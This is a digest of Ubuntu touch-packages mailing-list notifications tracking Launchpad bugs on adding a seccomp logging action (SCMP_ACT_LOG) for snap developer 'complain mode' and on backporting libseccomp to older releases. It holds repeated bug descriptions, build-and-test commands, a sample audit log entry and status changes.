Status in linux source package in Zesty:
  In Progress

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

  [Impact]

  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).

  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds
  a number of new symbols and probably isn't appropriate to backport
  until upstream has acked the pull request. However, only a small part
  of that larger pull request is needed by snapd and that change can be
  safely backported since the only added symbol, the SCMP_ACT_LOG macro,
  must match the SECCOMP_RET_LOG macro that has already been approved
  and merged in the upstream Linux kernel.

  [Test Case]

  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised
  to help catch any regressions. Note that on Artful, there's an
  existing test failure (20-live-basic_die%%002-1):

  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ cd libseccomp-*
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)

  All tests should pass on zesty (12 tests) and xenial (10 tests). On artful, 
you'll see one pre-existing failure:
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  

  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:

  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test

  With a kernel that contains the logging patches and an updated
  libseccomp, the exit code should be 0 and you should have an entry in
  the system log that looks like this:

  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test"
  exe="/home/tyhicks/lp1567597-test" sig=0 arch=c03e syscall=2
  compat=0 ip=0x7f547352c5c0 code=0x7ffc

  If you have an updated libseccomp with an old kernel, you'll see that
  seccomp_init() fails due to the added compatibility check inside of
  libseccomp determines that the kernel doesn't have proper support for
  the new log action:

  $ ./lp1567597-test
  ERROR: seccomp_init: Invalid argument

  [Regression Potential]

  Relatively small since the core logic is in the kernel and we're only
  exposing the new action through libseccomp. The changes include smarts
  to query the kernel to see if the action is available in the kernel.
  Calling applications will not be able to use the action on older
  kernels that don't support it.

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1567597/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : 

[Touch-packages] [Bug 1682102] Re: libseccomp should support GA and HWE kernels

[Tyler Hicks]

@xnox bringing zesty's libseccomp back to xenial may be needed for some
kernel/snapd/libseccomp changes that I'm working on. Have you spent any
time investigating such a change?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1682102

Title:
  libseccomp should support GA and HWE kernels

Status in libseccomp package in Ubuntu:
  Confirmed
Status in libseccomp source package in Xenial:
  Confirmed

Bug description:
  Currently libseccomp version in Ubuntu are:

   libseccomp | 2.2.3-3ubuntu3   | xenial | 
source
   libseccomp | 2.3.1-2ubuntu2   | yakkety| 
source
   libseccomp | 2.3.1-2.1ubuntu1 | zesty  | 
source

  The difference between 2.2.3 and 2.3.1 is 63 upstream commits.

  Of those commits, 7 are already cherrypicked into xenial for s390x
  support.

  However that s390x support is incomplete as multiplexed syscalls are
  not supported.

  A request has been filed to support multiplexed syscalls in libseccomp
  in xenial at
  https://bugs.launchpad.net/ubuntu/+source/libseccomp/+bug/1679691

  That is a request for further 18 commits to backport, bringing the
  total to 25.

  Looking at the remaining 38 commits there are:
  - documentation updates
  - tools updates
  - tests updates
  - bugfixes
  - updates to syscall tables for linux 4.3, 4.5-rc4+

  IMHO, in the future when libseccomp is updated to support 4.10 kernel
  syscalls, it should be backported back to xenial too, to properly
  suppor the HWE kernels.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libseccomp/+bug/1682102/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

** Description changed:

  A requirement for snappy is that a snap may be placed in developer mode
  which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make developing
  on snappy easier.
  
  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while we
  can set complain mode to permit all calls, they are not logged at this
  time. I've discussed this with upstream and we are working together on
  the approach. This may require a kernel patch and an update to
  libseccomp, to filing this bug for now as a placeholder and we'll add
  other tasks as necessary.
  
  UPDATE: ubuntu-core-launcher now supports the '@complain' directive that
  is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).
  
  [Impact]
  
  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).
  
  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds a
  number of new symbols and probably isn't appropriate to backport until
  upstream has acked the pull request. However, only a small part of that
  larger pull request is needed by snapd and that change can be safely
  backported since the only added symbol, the SCMP_ACT_LOG macro, must
  match the SECCOMP_RET_LOG macro that has already been approved and
  merged in the upstream Linux kernel.
  
  [Test Case]
  
  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised to
  help catch any regressions. Note that on Artful, there's an existing
  test failure (20-live-basic_die%%002-1):
  
  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ cd libseccomp-*
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)
  
  All tests should pass on zesty (12 tests) and xenial (10 tests). On artful, 
you'll see one pre-existing failure:
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  
  
  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:
  
  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test
  
- The exit code should be 0 and you should have an entry in the system log
- that looks like this:
+ With a kernel that contains the logging patches and an updated
+ libseccomp, the exit code should be 0 and you should have an entry in
+ the system log that looks like this:
  
  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test" exe="/home/tyhicks/lp1567597-test"
  sig=0 arch=c03e syscall=2 compat=0 ip=0x7f547352c5c0 code=0x7ffc
+ 
+ If you have an updated libseccomp with an old kernel, you'll see that
+ seccomp_init() fails due to the added compatibility check inside of
+ libseccomp determines that the kernel doesn't have proper support for
+ the new log action:
+ 
+ $ ./lp1567597-test
+ ERROR: seccomp_init: Invalid argument
  
  [Regression Potential]
  
  Relatively small since the core logic is in the kernel and we're only
  exposing the new action through libseccomp. The changes include smarts
  to query the kernel to see if the action is available in the kernel.
  Calling applications will not be able to use the action on older kernels
  that don't support it.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  implement 'complain mode' in seccomp for developer mode with snaps

Status in Snappy:
  Confirmed
Status in libseccomp package in Ubuntu:
  Fix Released
Status in linux package in Ubuntu:
  Fix Released
Status in libseccomp source package in Xenial:
  In Progress
Status in linux source package in Xenial:
  In Progress
Status in libseccomp source package in Zesty:
  In Progress
Status in linux source package in Zesty:
  In Progress

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations 

[Touch-packages] [Bug 1567597] Re: [FFe] implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

** Description changed:

  A requirement for snappy is that a snap may be placed in developer mode
  which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make developing
  on snappy easier.
  
  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while we
  can set complain mode to permit all calls, they are not logged at this
  time. I've discussed this with upstream and we are working together on
  the approach. This may require a kernel patch and an update to
  libseccomp, to filing this bug for now as a placeholder and we'll add
  other tasks as necessary.
  
  UPDATE: ubuntu-core-launcher now supports the '@complain' directive that
  is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).
  
  [Impact]
  
  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).
  
  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds a
  number of new symbols and probably isn't appropriate to backport until
  upstream has acked the pull request. However, only a small part of that
  larger pull request is needed by snapd and that change can be safely
  backported since the only added symbol, the SCMP_ACT_LOG macro, must
  match the SECCOMP_RET_LOG macro that has already been approved and
  merged in the upstream Linux kernel.
  
  [Test Case]
  
  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised to
  help catch any regressions. Note that on Artful, there's an existing
  test failure (20-live-basic_die%%002-1):
  
  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
+ $ cd libseccomp-*
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  
  
  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:
  
  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test
  
  The exit code should be 0 and you should have an entry in the system log
  that looks like this:
  
  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test" exe="/home/tyhicks/lp1567597-test"
  sig=0 arch=c03e syscall=2 compat=0 ip=0x7f547352c5c0 code=0x7ffc
  
  [Regression Potential]
  
  Relatively small since the core logic is in the kernel and we're only
  exposing the new action through libseccomp. The changes include smarts
  to query the kernel to see if the action is available in the kernel.
  Calling applications will not be able to use the action on older kernels
  that don't support it.

** Summary changed:

- [FFe] implement 'complain mode' in seccomp for developer mode with snaps
+ implement 'complain mode' in seccomp for developer mode with snaps

** Also affects: linux (Ubuntu Zesty)
   Importance: Undecided
   Status: New

** Also affects: libseccomp (Ubuntu Zesty)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Also affects: libseccomp (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Changed in: libseccomp (Ubuntu Xenial)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: libseccomp (Ubuntu Zesty)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: libseccomp (Ubuntu Xenial)
   Status: New => In Progress

** Changed in: libseccomp (Ubuntu Zesty)
   Status: New => In Progress

** Changed in: linux (Ubuntu Xenial)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: linux (Ubuntu Zesty)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: linux (Ubuntu Xenial)
   Status: New => In Progress

** Changed in: linux (Ubuntu Zesty)
   Status: New => In Progress

** Description changed:

  A requirement for snappy is that a snap may be placed in developer mode
  which will put the security sandbox in

[Touch-packages] [Bug 1567597] Re: [FFe] implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

Thanks! I've uploaded the libseccomp package to artful-proposed.

** Changed in: libseccomp (Ubuntu)
   Status: Triaged => Fix Committed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  [FFe] implement 'complain mode' in seccomp for developer mode with
  snaps

Status in Snappy:
  Confirmed
Status in libseccomp package in Ubuntu:
  Fix Committed
Status in linux package in Ubuntu:
  Fix Released

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

  [Impact]

  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).

  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds
  a number of new symbols and probably isn't appropriate to backport
  until upstream has acked the pull request. However, only a small part
  of that larger pull request is needed by snapd and that change can be
  safely backported since the only added symbol, the SCMP_ACT_LOG macro,
  must match the SECCOMP_RET_LOG macro that has already been approved
  and merged in the upstream Linux kernel.

  [Test Case]

  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised
  to help catch any regressions. Note that on Artful, there's an
  existing test failure (20-live-basic_die%%002-1):

  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  

  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:

  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test

  The exit code should be 0 and you should have an entry in the system
  log that looks like this:

  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test"
  exe="/home/tyhicks/lp1567597-test" sig=0 arch=c03e syscall=2
  compat=0 ip=0x7f547352c5c0 code=0x7ffc

  [Regression Potential]

  Relatively small since the core logic is in the kernel and we're only
  exposing the new action through libseccomp. The changes include smarts
  to query the kernel to see if the action is available in the kernel.
  Calling applications will not be able to use the action on older
  kernels that don't support it.

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1567597/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1567597] Re: [FFe] implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

I had previously attached a slightly old version of the lp1567597-test.c
program that contained a mistake. I'm now attaching the corrected
version after fetching it from my testing VM.

** Attachment removed: "lp1567597-test.c"
   
https://bugs.launchpad.net/snappy/+bug/1567597/+attachment/4953120/+files/lp1567597-test.c

** Attachment added: "lp1567597-test.c"
   
https://bugs.launchpad.net/snappy/+bug/1567597/+attachment/4954002/+files/lp1567597-test.c

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  [FFe] implement 'complain mode' in seccomp for developer mode with
  snaps

Status in Snappy:
  Confirmed
Status in libseccomp package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Fix Released

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

  [Impact]

  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).

  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds
  a number of new symbols and probably isn't appropriate to backport
  until upstream has acked the pull request. However, only a small part
  of that larger pull request is needed by snapd and that change can be
  safely backported since the only added symbol, the SCMP_ACT_LOG macro,
  must match the SECCOMP_RET_LOG macro that has already been approved
  and merged in the upstream Linux kernel.

  [Test Case]

  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised
  to help catch any regressions. Note that on Artful, there's an
  existing test failure (20-live-basic_die%%002-1):

  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  

  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:

  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test

  The exit code should be 0 and you should have an entry in the system
  log that looks like this:

  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test"
  exe="/home/tyhicks/lp1567597-test" sig=0 arch=c03e syscall=2
  compat=0 ip=0x7f547352c5c0 code=0x7ffc

  [Regression Potential]

  Relatively small since the core logic is in the kernel and we're only
  exposing the new action through libseccomp. The changes include smarts
  to query the kernel to see if the action is available in the kernel.
  Calling applications will not be able to use the action on older
  kernels that don't support it.

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1567597/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1567597] Re: [FFe] implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

** Changed in: libseccomp (Ubuntu)
   Status: In Progress => New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  [FFe] implement 'complain mode' in seccomp for developer mode with
  snaps

Status in Snappy:
  Confirmed
Status in libseccomp package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Fix Released

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

  [Impact]

  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).

  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds
  a number of new symbols and probably isn't appropriate to backport
  until upstream has acked the pull request. However, only a small part
  of that larger pull request is needed by snapd and that change can be
  safely backported since the only added symbol, the SCMP_ACT_LOG macro,
  must match the SECCOMP_RET_LOG macro that has already been approved
  and merged in the upstream Linux kernel.

  [Test Case]

  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised
  to help catch any regressions. Note that on Artful, there's an
  existing test failure (20-live-basic_die%%002-1):

  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  

  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:

  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test

  The exit code should be 0 and you should have an entry in the system
  log that looks like this:

  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test"
  exe="/home/tyhicks/lp1567597-test" sig=0 arch=c03e syscall=2
  compat=0 ip=0x7f547352c5c0 code=0x7ffc

  [Regression Potential]

  Relatively small since the core logic is in the kernel and we're only
  exposing the new action through libseccomp. The changes include smarts
  to query the kernel to see if the action is available in the kernel.
  Calling applications will not be able to use the action on older
  kernels that don't support it.

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1567597/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1567597] Re: [FFe] implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

Clean Artful amd64 build log.

** Attachment added: "libseccomp_2.3.1-2.1ubuntu2_amd64.build"
   
https://bugs.launchpad.net/snappy/+bug/1567597/+attachment/4953122/+files/libseccomp_2.3.1-2.1ubuntu2_amd64.build

** Changed in: libseccomp (Ubuntu)
   Status: Confirmed => In Progress

** Changed in: snappy
   Status: In Progress => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  [FFe] implement 'complain mode' in seccomp for developer mode with
  snaps

Status in Snappy:
  Confirmed
Status in libseccomp package in Ubuntu:
  In Progress
Status in linux package in Ubuntu:
  Fix Released

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

  [Impact]

  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).

  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds
  a number of new symbols and probably isn't appropriate to backport
  until upstream has acked the pull request. However, only a small part
  of that larger pull request is needed by snapd and that change can be
  safely backported since the only added symbol, the SCMP_ACT_LOG macro,
  must match the SECCOMP_RET_LOG macro that has already been approved
  and merged in the upstream Linux kernel.

  [Test Case]

  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised
  to help catch any regressions. Note that on Artful, there's an
  existing test failure (20-live-basic_die%%002-1):

  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  

  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:

  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test

  The exit code should be 0 and you should have an entry in the system
  log that looks like this:

  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test"
  exe="/home/tyhicks/lp1567597-test" sig=0 arch=c03e syscall=2
  compat=0 ip=0x7f547352c5c0 code=0x7ffc

  [Regression Potential]

  Relatively small since the core logic is in the kernel and we're only
  exposing the new action through libseccomp. The changes include smarts
  to query the kernel to see if the action is available in the kernel.
  Calling applications will not be able to use the action on older
  kernels that don't support it.

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1567597/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

SCMP_ACT_LOG test for libseccomp.

** Description changed:

  A requirement for snappy is that a snap may be placed in developer mode
  which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make developing
  on snappy easier.
  
  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while we
  can set complain mode to permit all calls, they are not logged at this
  time. I've discussed this with upstream and we are working together on
  the approach. This may require a kernel patch and an update to
  libseccomp, to filing this bug for now as a placeholder and we'll add
  other tasks as necessary.
  
  UPDATE: ubuntu-core-launcher now supports the '@complain' directive that
  is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).
+ 
+ [Impact]
+ 
+ Snapd needs a way to log seccomp actions without blocking any syscalls
+ in order to have a more useful complain mode. Such functionality has
+ been acked upstream and patches are on their way into the Linux 4.14
+ kernel (backported to 4.12.0-13.14 in artful).
+ 
+ The corresponding libseccomp changes are still undergoing review
+ (https://github.com/seccomp/libseccomp/pull/92). The pull request adds a
+ number of new symbols and probably isn't appropriate to backport until
+ upstream has acked the pull request. However, only a small part of that
+ larger pull request is needed by snapd and that change can be safely
+ backported since the only added symbol, the SCMP_ACT_LOG macro, must
+ match the SECCOMP_RET_LOG macro that has already been approved and
+ merged in the upstream Linux kernel.
+ 
+ [Test Case]
+ 
+ A large number of tests are ran as part of the libseccomp build.
+ However, the "live" tests which test libseccomp with actual kernel
+ enforcement are not ran at that time. They can be manually exercised to
+ help catch any regressions. Note that on Artful, there's an existing
+ test failure (20-live-basic_die%%002-1):
+ 
+ $ sudo apt build-dep -y libseccomp
+ $ sudo apt install -y cython
+ $ apt source libseccomp
+ $ autoreconf -ivf && ./configure --enable-python && make check-build
+ $ (cd tests && ./regression -T live)
+ ...
+ Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159 
+ ...
+ Regression Test Summary
+  tests run: 12
+  tests skipped: 0
+  tests passed: 11
+  tests failed: 1
+  tests errored: 0
+ 
+ 
+ Now we can build and run a small test program to test the SCMP_ACT_LOG
+ action in the way that snapd wants to use it for developer mode:
+ 
+ $ sudo apt install -y libseccomp-dev
+ $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
+ $ ./lp1567597-test
+ 
+ You should have an entry in the system log that looks like this:
+ 
